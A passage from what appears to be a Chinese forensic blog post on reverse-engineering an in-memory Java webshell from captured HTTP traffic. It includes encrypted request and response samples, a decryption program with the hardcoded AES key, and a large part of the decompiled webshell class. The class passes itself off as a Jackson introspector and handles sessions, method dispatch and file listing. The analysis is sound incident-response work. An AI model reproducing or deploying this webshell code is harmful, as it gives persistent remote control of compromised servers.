我们可以看到,返回值就是一个比较伪装的好的报文

从零开始的内存马分析——如何骑马反杀(一)

分析到这里,本以为已经分析完善了,可是当我们继续查看流量包的时候,发现并没有那么简单,当我们对他的流量进行重新解密的时候,按理说,可以正常解码,而且返回值应该差别不多,但是实际上,解码出来并不是class,而是乱码

从零开始的内存马分析——如何骑马反杀(一)

POST /ncupload/config.jsp HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Cookie: JSESSIONID=A891C7D63F7AA47F7BB3B7089E134B55.server
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host:
Content-Length: 208{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"26426ac13be6e1b58c69fd371bac6de05031411e180aefaba292f681d82e4080931feb534693d2267c5d1940e676a29e"}HTTP/1.1 200 OK
Server: Apache-Coyote/1.1X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Type: application/json;charset=UTF-8Content-Length: 290Date: Mon, 25 Jul 2022 11:16:23 GMT
Connection: close

{"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ0aeP7q4n2hcmkzSNR3IziwHfy4+8Q7p37h/TbEBuDTY/h8uggW9zZaqXH9R9/m1YziyH","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}}
POST /ncupload/config.jsp HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Cookie: JSESSIONID=A891C7D63F7AA47F7BB3B7089E134B55.server
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host:
Content-Length: 272{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"26426ac13be6e1b58c69fd371bac6de0fad0fe6b3a09096af4f5d283d62f6adf581152788ec510921bb0f8e271590c9b847a8b3bde605fb0556665cb8df1041000d9cec2789b0f2d5cc4dc3c69ca3811"}HTTP/1.1 200 OK
Server: Apache-Coyote/1.1X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Type: application/json;charset=UTF-8Content-Length: 4154Date: Mon, 25 Jul 2022 11:16:23 GMT
Connection: close

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BrZzriKkum1HWMEtsZrS7Q++Xrr6qZzfPBK1qm81S41XNC9So2dNkv7pkN1Gcm8z9ka2KavMZcqs
3lpPVtsvuXpnkEVBFcUUXRy7QnjI/Z0nX2s3chGVT8DgHeSYmZpcxOhU8RXokNXaT0hbs+FTb40w
1aHP4nPkUfYWiJ5/P+5H29CLnqYXYEG2U7yFRUFYOMpV/QO0IvWzLylo/PO+Mt2QS8qgOsEygbVa
5AIKxy1e57fHrACOQkZBwMYXKQXaFw=="
,"exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}}

2.1.7 GZIP编解码

内存马配合http头,改变了传输的加密格式

我们在传递的时候,查看他解码的数据,发现,均携带1F8B08000000

1F8B0800000000000000CB4D2DC9C84FF14BCC4D65E2656060484F2D714A2CCE4C2EF6CC4BCB2F4E2D2ECECCCFF34C6112044A6546E6571519F8B8F85526A717A454394602006D9268393B0000001F8B0800000000000000CB4D2DC9C84FF14BCC4D656261606028492D2E0100F839225013000000

从零开始的内存马分析——如何骑马反杀(一)

从零开始的内存马分析——如何骑马反杀(一)

百度查询之后,发现是GZIP压缩,为什么会产生GZIP压缩呢?根据之前的代码传递均为字节码

我们加入GZIP解码,发现流量均迎刃而解

26426ac13be6e1b58c69fd371bac6de05031411e180aefaba292f681d82e4080931feb534693d2267c5d1940e676a29e
解码6D6574686F644E616D65020400000074657374

我们可以在流量中发现奥秘,针对每个流量包进行分析,最终在一个比较大的流量包中,发现了正常的字节码,也就是攻击方导入的内存马

POST /ncupload/config.jsp HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host:
Content-Length: 47312{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"4185330a9e6684959ca14153ebb2bf603cb68867e08548f8a49d5740865db8ad7ee4c687803a94df9fbdc5e289c05860585ad7644d60f28b9f05ab580ba41389202a44761bb2f7df6ec8a9bce967a3ebca00ed48d5144b81c945a37c5eaa8faa83e6d382701b0fe53b03a15c426a3940ef08489117833793d6e843f9fa5969557f92cf2759672b3507e301fddba98d451858000bd0576a949d5bd618a4a506cf2c1d77c03160aeda6e15dea50598eb2ef6d85d1d62cb8695ee312930896e4718b3eaa2a93a9b40f445c1eeeeec7eca5213cba64fa87018b82c33f9121722d983637c0eb0ac7ed86cf908c92e672ecc6bbbc579fc3df2945257498bb318eb101ea2721d56c40b74296e2d40f27765c32e7143e01dc13d417bb31ad03448f60289af7c681114fea5b6081bcfdaa635e8d0ee1eaa84a39f14a061358f6ad0cc64f64b983f87c551ad7a74abd07de4cfe466ea645f6d293be7c0d0e7f8dec3a4dc2d04d860d0e1b9b6a74e3c8b3fa012345ba1c475e32dd8ec43f361b370366597cd0c573166e0b305eaed560a70bb20618e7b15286822c36bc5327ebc89bce03165b3ac5a7b7aa56422c240874fda6be6cb21e0d2feeeb6c9a341b46697bef5a8f0f5f314876eb6228de66526117558ec45e02df595efec10a56e12c06722bbecd29dfe761f79073c6a209fb89a3a4674b79e53db1d345e065fb58318973d6eefb8518b1d197577675e067dfb6e7ab44a72600cf761299d473752d14c1afd70ce0551f05860a3774a09dd3324815d364b9366e1e1e55b547be0c9f4f9b15c6c3883ee187431ffbb3a9b0d8c9b9977a1e3aece48cc8a21b43c032542f393ee7667f778b04dff823e70813589e06bdf9b4ff88309b59a8e738d88fdb23bf0f542e9e8b32bbd6b07971212b043d3740927a5204232f93046d66207a86e6ad964ff8e947c857e22ad0979dce02b0bde140fa2f49604fca48d3576b88e6691360089ad4c4fbf0ce969757447e1d616066bc75135fa59e27bde6629bb43fd4cecf3970d4989d4f0bda252ecede59b1f2ca4791d136fd7dbc7c2bdba8215d4bb4ffcc4533b1d7ebfb4d22e15baf8ba277c54080711c314adb921067aa7162d34ce9b7a37d5b94ee4ae9325aa2beeebd990da033ebeafc9b9b2195e350f90baeead72a8132f3970804a3e70fe1e24c15cf097f71351a736c6bd76155535f8529b297e84b04c3fe4b0ea4625f6875d00872ddec9a69f87aa53d3256a69d05d47cb37302d49dabe722a9e26d49d55814659c8fc2f5509c004b4b6e1789228076eac8fdd53dc8574bab22a4f60fe16d37c227475425e9a9fd02486fab5a36bbc3db447b38fe9f94d4ef7b3cc155f068e0c0d35e0ad763b921827674dbfde980c0766c3799a82202620b06bd8fe66d88a0833d061607d50bb0de9f0d10d3eb2e937f6bf9331a41fb2258a50cdae25c113593a6b91afb3cb42b37d3e8e02538350743690895661ec3be580931d70d250ebe3c2e0243730693b0b16b63beec3990970994b8e374e55d2f29db1fbf2d5ffc6a83e6b995ca33ad8cac2a879be0e7566c02f1d22a2a8a357a3580271f15e8f7182d158972019ad51533c777054d90c8e8a29dd026f77c01d5960c6bbe15aafd517abf1b7501a09da95f8796f2fd0247c3fbc4a8abb539e2acc5154ad741412cbcba03a33ced5d345669e10b90674bbd5497dccc829a9567df055e00408ca96cd8aacca4064917b1913279f67d25f61b357ba55b8ebfa2583bd500735f9bcab6d35868e2a9f2255818c9ec550a9ac50c3e397ccc2d9211954a2166d09de389bed191af913d40e2e7249cdcc24337060c80e643164484c3430bc8b1383c34bdc610833d8e2c048ea7c99605b8ec4581f286260b3221b2016547c07b54487315f4a026420f81e3e95b399c876f6d4f2a493f8e078421a52f3edd9dfe15afd278dee26cea6ead4ba96a89dc6ab9ffd8d374ecc4c7f517b2612d0ceef638344e3a4ae4906cc8e46d30e6f4edc6711d3cfb6841cca223164b739e12dd226454f6ed9574ada1d33631a5e7064300fe8a620155e79b7f6e11abd658bc30ed52361a5730c12a639b3ca29062efbaceb350953c927ffb57421fdb66b8bc30ed52361a5730c12a639b3ca2906307d1d39f630b0ce760e0ae2c5b60da262df4707e252171d3a7b328290a67c83b9f110070aee503b88ad2c465db94c7069795550cfb2aa200753f69702aa4a7055b024214ad5df4d5e60b457ccfac45ca5f529731ca37f3eb203191a65e0ebbe19a99d109496aa0f3521a75a3f69b8b91de7e2d46139a1154a0781ca89883ffd274f523c65cc463d6f1fc1b8269cba6fed697693513238ffbedff78af8bdd02848cb5aaf9c1cd67ba1acae9eafee634fd3a1fca43be86ad049b82283dcb46b5ecec0167a26980834ed0a6e7fc1a7137690911c14555c0e0318a5c9084b4b380a849fd4a5cca28c8cbef495417a6677893be580931d70d250ebe3c2e024373069be4de701e0c8b245a1ee8bae582809cc5b59e06be1031f1378f8a902a5e6b7ef1e4b9344b9271138d32af35918b869450d77ea7a3b4480332ccf428dd8ef5b7efd3c8ffef09fec06800ed6ca8749e47e8ddf007d5a115e238f436fa881e36868dde7b2691f8e7d927debe3f01b047670ec28ec8576bb55c889dcfb6c8e4e250785b8fa96108189540725d34d8905d1cd72bf098421422a43e1ef6969368c03f172aa1b03c9c7b8ae2d462e4e1e10b48e5ac305d5a70380b335d093426e9b51769e182790451ccdbf8a24d3474cbe577a0c4b672fb50f24562120e8233249bb749404532f168f31def0aebb8152d8330187fcfa686f1ca8562557047efe43dc542c1d77c03160aeda6e15dea50598eb2e42a74ebf8e543589ec0a6dfb47d436b6c00a31a4e23525fba26b6a9a8828c91adfc76a5446a367d265b723ab35432bd9ed1cdc5803373b871a82c92c3574d3468b3d6f4581a732e542e63042ffb009bb1cf33a6bec737fc5ecd91c59ca74e189990e94a515dd92829c66c0282b1296031bfa7cf9f0b4ce10f318dac38803ad4e5e37836c41314605dad0f100f48c540b001086a0e7daae03350e89a1d46d69c76b5a98fec61240a525ff6c483f7cc96cbd7e898ebab71c4a2e1c7a1aa6c89a7efdf55557dca7e663961f9e2502a8cdfe7922818d66b542f5f2e7a1d83331b40edb7f1de75061fe24b2067bd7a965bcd1f7c3e1d1a47f3e43ef6715cfa2bae6f0384ba1142cd6c9786e4a5061459a52d2b64edefbff37f5ce216448277dab4cf89569d5f351ded71e063c67898e40a2366b06c1d3dfd658485f71defddbd3d5b85e51aef04921ff80f030980669b13ccbd40316ec35e158d983cc37dd567fbd3a28a0c63ea7828cb0323d730aee68a0ec4005317a9b2146bfe0b682dd244e6267ddff1d227ce71fe677819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HTTP/1.1 200 OK
Server: Apache-Coyote/1.1X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Set-Cookie: JSESSIONID=66F5F21745E86D7D60B9253FABA7D17A.server; Path=/; HttpOnly
Content-Type: text/xml;charset=UTF-8Content-Length: 0Date: Mon, 25 Jul 2022 11:16:17 GMT
Connection: close

从零开始的内存马分析——如何骑马反杀(一)

从零开始的内存马分析——如何骑马反杀(一)

我们可以很明显的发现class的特征,CAFEBA

从零开始的内存马分析——如何骑马反杀(一)

我们将字节码进行提取,并使用jd-gui进行打开,发现并不能打开,因此,咨询相关师傅后,可能是在读取解码过程中发生了问题,

package nuc.edu.hello.controller;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import java.io.IOException;import java.nio.charset.StandardCharsets;import java.nio.file.Files;import java.nio.file.Paths;public class Test {    public static byte[] aes128(byte[] s, int mode) {        try {
Cipher c = Cipher.getInstance("AES");
c.init(mode, new SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES")); return c.doFinal(s);
} catch (Exception exception) { return null;
}
} public static byte[] base64Decode(byte[] bytes) { byte[] value = null; try {
Class&lt;?&gt; base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes});
} catch (Exception exception) { try {
Class&lt;?&gt; base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)});
} catch (Exception exception1) {
}
} return value;
} public static byte[] unHex(byte[] data) { int len; byte[] out; int i; int j; for (len = data.length, out = new byte[len / 2], i = 0, j = 0; j &lt; len; ) { int f = Character.digit(data[j++], 16) &lt;&lt; 4;
f |= Character.digit(data[j++], 16);
out[i] = (byte) (f &amp; 0xFF);
i++;
} return out;
} public static byte[] base64Encode(byte[] bytes) { byte[] encrypted = null;
String str; try {
Class&lt;?&gt; base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
encrypted = (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes});
} catch (Exception exception) { try {
Class&lt;?&gt; base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
str = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes});
str=str.replace("n", "").replace("r", "");
encrypted=str.getBytes();
} catch (Exception exception1) {
}
} return encrypted;
} public static void main(String[] args) throws IOException {
String b = "{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"4185330a9e6684959ca14153ebb2bf603cb68867e08548f8a49d5740865db8ad7ee4c687803a94df9fbdc5e289c05860585ad7644d60f28b9f05ab580ba41389202a44761bb2f7df6ec8a9bce967a3ebca00ed48d5144b81c945a37c5eaa8faa83e6d382701b0fe53b03a15c426a3940ef08489117833793d6e843f9fa5969557f92cf2759672b3507e301fddba98d451858000bd0576a949d5bd618a4a506cf2c1d77c03160aeda6e15dea50598eb2ef6d85d1d62cb8695ee312930896e4718b3eaa2a93a9b40f445c1eeeeec7eca5213cba64fa87018b82c33f9121722d983637c0eb0ac7ed86cf908c92e672ecc6bbbc579fc3df2945257498bb318eb101ea2721d56c40b74296e2d40f27765c32e7143e01dc13d417bb31ad03448f60289af7c681114fea5b6081bcfdaa635e8d0ee1eaa84a39f14a061358f6ad0cc64f64b983f87c551ad7a74abd07de4cfe466ea645f6d293be7c0d0e7f8dec3a4dc2d04d860d0e1b9b6a74e3c8b3fa012345ba1c475e32dd8ec43f361b370366597cd0c573166e0b305eaed560a70bb20618e7b15286822c36bc5327ebc89bce03165b3ac5a7b7aa56422c240874fda6be6cb21e0d2feeeb6c9a341b46697bef5a8f0f5f314876eb6228de66526117558ec45e02df595efec10a56e12c06722bbecd29dfe761f79073c6a209fb89a3a4674b79e53db1d345e065fb58318973d6eefb8518b1d197577675e067dfb6e7ab44a72600cf761299d473752d14c1afd70ce0551f05860a3774a09dd3324815d364b9366e1e1e55b547be0c9f4f9b15c6c3883ee187431ffbb3a9b0d8c9b9977a1e3aece48cc8a21b43c032542f393ee7667f778b04dff823e70813589e06bdf9b4ff88309b59a8e738d88fdb23bf0f542e9e8b32bbd6b07971212b043d3740927a5204232f93046d66207a86e6ad964ff8e947c857e22ad0979dce02b0bde140fa2f49604fca48d3576b88e6691360089ad4c4fbf0ce969757447e1d616066bc75135fa59e27bde6629bb43fd4cecf3970d4989d4f0bda252ecede59b1f2ca4791d136fd7dbc7c2bdba8215d4bb4ffcc4533b1d7ebfb4d22e15baf8ba277c54080711c314adb921067aa7162d34ce9b7a37d5b94ee4ae9325aa2beeebd990da033ebeafc9b9b2195e350f90baeead72a8132f3970804a3e70fe1e24c15cf097f71351a736c6bd76155535f8529b297e84b04c3fe4b0ea4625f6875d00872ddec9a69f87aa53d3256a69d05d47cb37302d49dabe722a9e26d49d55814659c8fc2f5509c004b4b6e1789228076eac8fdd53dc8574bab22a4f60fe16d37c227475425e9a9fd02486fab5a36bbc3db447b38fe9f94d4ef7b3cc155f068e0c0d35e0ad763b921827674dbfde980c0766c3799a82202620b06bd8fe66d88a0833d061607d50bb0de9f0d10d3eb2e937f6bf9331a41fb2258a50cdae25c113593a6b91afb3cb42b37d3e8e02538350743690895661ec3be580931d70d250ebe3c2e0243730693b0b16b63beec3990970994b8e374e55d2f29db1fbf2d5ffc6a83e6b995ca33ad8cac2a879be0e7566c02f1d22a2a8a357a3580271f15e8f7182d158972019ad51533c777054d90c8e8a29dd026f77c01d5960c6bbe15aafd517abf1b7501a09da95f8796f2fd0247c3fbc4a8abb539e2acc5154ad741412cbcba03a33ced5d345669e10b90674bbd5497dccc829a9567df055e00408ca96cd8aacca4064917b1913279f67d25f61b357ba55b8ebfa2583bd500735f9bcab6d35868e2a9f2255818c9ec550a9ac50c3e397ccc2d9211954a2166d09de389bed191af913d40e2e7249cdcc24337060c80e643164484c3430bc8b1383c34bdc610833d8e2c048ea7c99605b8ec4581f286260b3221b2016547c07b54487315f4a026420f81e3e95b399c876f6d4f2a493f8e078421a52f3edd9dfe15afd278dee26cea6ead4ba96a89dc6ab9ffd8d374ecc4c7f517b2612d0ceef638344e3a4ae4906cc8e46d30e6f4edc6711d3cfb6841cca223164b739e12dd226454f6ed9574ada1d33631a5e7064300fe8a620155e79b7f6e11abd658bc30ed52361a5730c12a639b3ca29062efbaceb350953c927ffb57421fdb66b8bc30ed52361a5730c12a639b3ca2906307d1d39f630b0ce760e0ae2c5b60da262df4707e252171d3a7b328290a67c83b9f110070aee503b88ad2c465db94c7069795550cfb2aa200753f69702aa4a7055b024214ad5df4d5e60b457ccfac45ca5f529731ca37f3eb203191a65e0ebbe19a99d109496aa0f3521a75a3f69b8b91de7e2d46139a1154a0781ca89883ffd274f523c65cc463d6f1fc1b8269cba6fed697693513238ffbedff78af8bdd02848cb5aaf9c1cd67ba1acae9eafee634fd3a1fca43be86ad049b82283dcb46b5ecec0167a26980834ed0a6e7fc1a7137690911c14555c0e0318a5c9084b4b380a849fd4a5cca28c8cbef495417a6677893be580931d70d250ebe3c2e024373069be4de701e0c8b245a1ee8bae582809cc5b59e06be1031f1378f8a902a5e6b7ef1e4b9344b9271138d32af35918b869450d77ea7a3b4480332ccf428dd8ef5b7efd3c8ffef09fec06800ed6ca8749e47e8ddf007d5a115e238f436fa881e36868dde7b2691f8e7d927debe3f01b047670ec28ec8576bb55c889dcfb6c8e4e250785b8fa96108189540725d34d8905d1cd72bf098421422a43e1ef6969368c03f172aa1b03c9c7b8ae2d462e4e1e10b48e5ac305d5a70380b335d093426e9b51769e182790451ccdbf8a24d3474cbe577a0c4b672fb50f24562120e8233249bb749404532f168f31def0aebb8152d8330187fcfa686f1ca8562557047efe43dc542c1d77c03160aeda6e15dea50598eb2e42a74ebf8e543589ec0a6dfb47d436b6c00a31a4e23525fba26b6a9a8828c91adfc76a5446a367d265b723ab35432bd9ed1cdc5803373b871a82c92c3574d3468b3d6f4581a732e542e63042ffb009bb1cf33a6bec737fc5ecd91c59ca74e189990e94a515dd92829c66c0282b1296031bfa7cf9f0b4ce10f318dac38803ad4e5e37836c41314605dad0f100f48c540b001086a0e7daae03350e89a1d46d69c76b5a98fec61240a525ff6c483f7cc96cbd7e898ebab71c4a2e1c7a1aa6c89a7efdf55557dca7e663961f9e2502a8cdfe7922818d66b542f5f2e7a1d83331b40edb7f1de75061fe24b2067bd7a965bcd1f7c3e1d1a47f3e43ef6715cfa2bae6f0384ba1142cd6c9786e4a5061459a52d2b64edefbff37f5ce216448277dab4cf89569d5f351ded71e063c67898e40a2366b06c1d3dfd658485f71defddbd3d5b85e51aef04921ff80f030980669b13ccbd40316ec35e158d983cc37dd567fbd3a28a0c63ea7828cb0323d730aee68a0ec4005317a9b2146bfe0b682dd244e6267ddff1d227ce71fe677819a210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byte[] requestData = b.getBytes(StandardCharsets.UTF_8); byte[] _requestData = new byte[requestData.length - 112]; //java.lang.System.arraycopy(requestData,110,_requestData);
java.lang.System.arraycopy(requestData,110,_requestData,0,_requestData.length);
requestData = _requestData;
requestData = unHex(requestData);
requestData = aes128(requestData,2);
Files.write(Paths.get("./233.class"),requestData);
}

}

我们查看提取出的class内存马

//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//package org.apache.coyote.introspect;import java.awt.Rectangle;import java.awt.Robot;import java.awt.Toolkit;import java.awt.image.BufferedImage;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;import java.io.InputStream;import java.io.PrintStream;import java.io.RandomAccessFile;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.net.InetAddress;import java.net.URL;import java.sql.Connection;import java.sql.Driver;import java.sql.DriverManager;import java.sql.ResultSet;import java.sql.ResultSetMetaData;import java.sql.Statement;import java.text.SimpleDateFormat;import java.util.ArrayList;import java.util.Arrays;import java.util.Date;import java.util.Enumeration;import java.util.HashMap;import java.util.Hashtable;import java.util.Iterator;import java.util.List;import java.util.Map;import java.util.Properties;import java.util.Random;import java.util.zip.GZIPInputStream;import java.util.zip.GZIPOutputStream;import javax.imageio.ImageIO;public class JacksonAnnotationIntrospector extends ClassLoader {    public static final char[] toBase64 = new char[]{'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'};    private static Map sessionMap = new Hashtable();
Map parameterMap; byte[] requestData;
ByteArrayOutputStream outputStream;
Object servletRequest;
Map session; public JacksonAnnotationIntrospector() {
} public JacksonAnnotationIntrospector(ClassLoader var1) { super(var1);
} public Class defineClass(byte[] var1) { return super.defineClass((String)null, var1, 0, var1.length, this.getClass().getProtectionDomain());
} public byte[] run() { try {
String var1 = this.get("evalClassName");
String var20 = this.get("methodName"); if (var20 == null) { return "Method is empty".getBytes();
} else {
Object var21 = null; if (var1 != null) {
Class var4 = (Class)this.session.get(var1); if (var4 == null) { return "Plugin module not loaded".getBytes();
} this.parameterMap.put("sessionTable", this.session); this.parameterMap.put("servletRequest", this.servletRequest);
var21 = var4.newInstance();
}

Method var22 = null; boolean var5 = var21 != null;
Class var6 = var5 ? var21.getClass() : this.getClass();
var21 = var5 ? var21 : this; byte[] var7 = this.getByteArray("invokeMethod");
Class[] var8 = new Class[1];
Object[] var9 = new Object[]{var21}; if (var7 != null || !var5) {
Class var10002; try {
var10002 = class$0; if (var10002 == null) { try {
var10002 = Class.forName("java.util.Map");
} catch (ClassNotFoundException var17) { throw new NoClassDefFoundError(var17.getMessage());
} class$0 = var10002;
}

var8[0] = var10002;
var22 = var6.getMethod(var20, var8);
} catch (NoSuchMethodException var18) { try {
var10002 = class$1; if (var10002 == null) { try {
var10002 = Class.forName("java.util.Dictionary");
} catch (ClassNotFoundException var15) { throw new NoClassDefFoundError(var15.getMessage());
} class$1 = var10002;
}

var8[0] = var10002;
var22 = var6.getMethod(var20, var8);
} catch (NoSuchMethodException var16) { try {
var8 = new Class[0];
var9 = new Object[0];
var22 = var6.getMethod(var20, var8);
} catch (NoSuchMethodException var14) { return "No Such Method".getBytes();
}
}
}
}

Object var10 = null; if (var22 != null) {
var10 = var22.invoke(var21, var9);
} else {
var21.equals(this.parameterMap);
var21.toString();
var10 = this.parameterMap.get("result");
}

Class var10000 = class$2; if (var10000 == null) { try {
var10000 = Class.forName("[B");
} catch (ClassNotFoundException var13) { throw new NoClassDefFoundError(var13.getMessage());
} class$2 = var10000;
} if (var10000.isInstance(var10)) { return (byte[])var10;
} else {
var10000 = class$3; if (var10000 == null) { try {
var10000 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var12) { throw new NoClassDefFoundError(var12.getMessage());
} class$3 = var10000;
} if (var10000.isInstance(var10)) { return ((String)var10).getBytes();
} else {
var10000 = class$0; if (var10000 == null) { try {
var10000 = Class.forName("java.util.Map");
} catch (ClassNotFoundException var11) { throw new NoClassDefFoundError(var11.getMessage());
} class$0 = var10000;
} return var10000.isInstance(var10) ? this.serialize((Map)var10) : "Incorrect return type".getBytes();
}
}
}
} catch (Throwable var19) {
ByteArrayOutputStream var2 = new ByteArrayOutputStream();
PrintStream var3 = new PrintStream(var2);
var19.printStackTrace(var3);
var3.flush();
var3.close(); return var2.toByteArray();
}
} public HashMap deserialize(byte[] var1, boolean var2) {
HashMap var3 = new HashMap();
ByteArrayInputStream var4 = new ByteArrayInputStream(var1);
ByteArrayOutputStream var5 = new ByteArrayOutputStream(); byte[] var6 = new byte[4]; try {
Object var7 = var4; if (var2) {
var7 = new GZIPInputStream(var4);
} while(true) { byte var8 = (byte)((InputStream)var7).read(); if (var8 == -1) { break;
} int var9;
String var10; if (var8 == 1) {
((InputStream)var7).read(var6);
var9 = bytesToInt(var6);
var10 = var5.toString();
var3.put(var10, this.deserialize(this.readInputStream((InputStream)var7, var9), false));
var5.reset();
} else if (var8 == 2) {
((InputStream)var7).read(var6);
var9 = bytesToInt(var6);
var10 = var5.toString();
var3.put(var10, this.readInputStream((InputStream)var7, var9));
var5.reset();
} else {
var5.write(var8);
}
}
} catch (Exception var11) {
} return var3;
} public byte[] serialize(Map var1) {
Iterator var2 = var1.keySet().iterator();
ByteArrayOutputStream var3 = new ByteArrayOutputStream(); while(var2.hasNext()) { try {
String var4 = (String)var2.next();
Object var5 = var1.get(var4);
var3.write(var4.getBytes()); byte[] var6; if (var5 instanceof byte[]) {
var3.write(2);
var6 = (byte[])var5;
} else if (var5 instanceof Map) {
var3.write(1);
var6 = this.serialize((Map)var5);
} else {
var3.write(2); if (var5 == null) {
var6 = "NULL".getBytes();
} else {
var6 = var5.toString().getBytes();
}
}

var3.write(intToBytes(var6.length));
var3.write(var6);
} catch (Exception var7) {
}
} return var3.toByteArray();
} public boolean equals(Object var1) { return var1 != null &amp;&amp; this.handle(var1);
} public boolean handle(Object var1) { if (var1 == null) { return false;
} else {
Class var10000 = class$4; if (var10000 == null) { try {
var10000 = Class.forName("java.io.ByteArrayOutputStream");
} catch (ClassNotFoundException var3) { throw new NoClassDefFoundError(var3.getMessage());
} class$4 = var10000;
} if (var10000.isInstance(var1)) { this.outputStream = (ByteArrayOutputStream)var1;
} else {
var10000 = class$2; if (var10000 == null) { try {
var10000 = Class.forName("[B");
} catch (ClassNotFoundException var2) { throw new NoClassDefFoundError(var2.getMessage());
} class$2 = var10000;
} if (var10000.isInstance(var1)) { this.requestData = (byte[])var1;
} else if (this.supportClass(var1, ".servlet.http.HttpServletRequest")) { this.servletRequest = var1;
}
} return false;
}
} private boolean supportClass(Object var1, String var2) { if (var1 == null) { return false;
} else { boolean var3 = false;
Class var4 = null; try { try {
var4 = Class.forName("javax" + var2, true, var1.getClass().getClassLoader());
} catch (Exception var5) {
var4 = Class.forName("jakarta" + var2, true, var1.getClass().getClassLoader());
}
} catch (Exception var6) {
} if (var4 != null &amp;&amp; var4.isInstance(var1)) {
var3 = true;
} return var3;
}
} public String toString() { if (this.outputStream != null &amp;&amp; this.requestData != null) { try { this.parameterMap = this.deserialize(this.requestData, true);
String var1 = this.sessionId(); if (var1 != null) { this.session = (Map)sessionMap.get(var1);
}

String var2 = this.get("methodName"); if (var2 == null || this.session == null &amp;&amp; !"test".equals(var2)) { return super.toString();
}

GZIPOutputStream var3 = new GZIPOutputStream(this.outputStream); byte[] var4 = this.run();
var3.write(var4);
var3.close(); this.outputStream.close(); this.parameterMap = null; this.requestData = null; this.outputStream = null; this.servletRequest = null; this.session = null;
} catch (Throwable var5) {
}
} return super.toString();
} public String get(String var1) { try { return new String((byte[])this.parameterMap.get(var1));
} catch (Exception var2) { return null;
}
} public byte[] getByteArray(String var1) { try { return (byte[])this.parameterMap.get(var1);
} catch (Exception var2) { return null;
}
} public byte[] test() {
HashMap var1 = new HashMap();
String var2 = this.sessionId(); if (this.session == null) {
var2 = getRandomString(16); this.session = new Hashtable(); this.session.put("alive", Boolean.TRUE);
sessionMap.put(var2, this.session);
}

var1.put("sessionId", var2); return this.serialize(var1);
} public byte[] getFile() {
String var1 = this.get("dirName");
HashMap var2 = new HashMap(); if (var1 != null) {
var1 = var1.trim(); try {
String var3 = (new File(var1)).getAbsoluteFile() + "/";
File var16 = new File(var3); if (var16.exists() &amp;&amp; var16.isDirectory()) {
File[] var5 = var16.listFiles(); if (var5 != null) { for(int var6 = 0; var6 &lt; var5.length; ++var6) {
HashMap var7 = new HashMap();
File var8 = var5[var6]; try {
var7.put("0", var8.getName());
var7.put("1", var8.isDirectory() ? "0" : "1");
var7.put("2", (new SimpleDateFormat("yyyy-MM-dd HH:mm:ss")).format(new Date(var8.lastModified())));
var7.put("3", Long.toString(var8.length()));
